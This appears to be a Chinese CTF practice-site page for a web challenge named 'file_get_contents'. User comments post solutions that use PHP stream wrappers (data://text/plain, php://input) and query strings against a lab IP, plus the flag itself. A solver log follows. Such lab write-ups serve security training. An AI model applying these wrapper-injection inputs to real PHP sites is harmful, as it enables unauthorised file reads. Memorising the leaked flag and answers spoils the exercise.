file_get_contentsWEB 未解决

分数: 30 金币: 3
题目作者: harry
一  血: npfs
一血奖励: 2金币
解  决: 5589
提  示:
描  述:
file_get_contents????
评论
Arya32f 1年前

https://blog.csdn.net/qq_52669977/article/details/143458470

回复 0

Pixelw 1年前

http://117.72.52.127:14185/?ac=bugku&fn=flag.txt

回复 0

xxsko 1年前

http://117.72.52.127:10268/?ac=example&fn=data://text/plain,example

回复 0

6973lb 1年前

这值4金币?

回复 1

liuguowang75 1年前

/?ac=bugku&fn=flag.txt,想到flag文本了,没想到ac=bugku,哈哈

回复 0

HK1ng 1年前

file_get_contents常用来读文件,但是也可以用伪协议来控制读的内容,这里就是使用data://text/plain,test。指定数据的 MIME 类型位text,然后内容是test,这个时候我们就控制了读取的内容,只需要传参ac位test即可拿到flag。

回复 0

goodsnack 1年前

post ac=1&fn=php://input raw里填1,对应ac的值

回复 0

Zhumeng 1年前

看到file_get_getcontents就要想到伪协议

回复 1

Melancholy 1年前

使用BP POST /?ac=1&fn=php://input HTTP/1.1 参数 1

回复 0

飞天的母猪 1年前

flag{688ebf9ece3756a3a5ac4e16616f1873}

回复 0

WriteUp

image
harry

3 金币

评分(8)

解题动态

icu 攻破了该题 20小时前
magning 攻破了该题 1天前
1123k 攻破了该题 1天前
cocogalet1 攻破了该题 1天前
jiuxian112 攻破了该题 1天前
青00衿 攻破了该题 2天前
liweiyi 攻破了该题 2天前
qi1102 攻破了该题 2天前
EvinZe 攻破了该题 2天前
张皓杰 攻破了该题 3天前
CCC1112 攻破了该题 3天前
moque 攻破了该题 3天前
南汐 攻破了该题 3天前
牛乳酸菌 攻破了该题 4天前
Amy 攻破了该题 4天前
小懒 攻破了该题 4天前
fss 攻破了该题 4天前
Srouven 攻破了该题 4天前
cl12 攻破了该题 4天前
suhannn 攻破了该题 5天前
问题反馈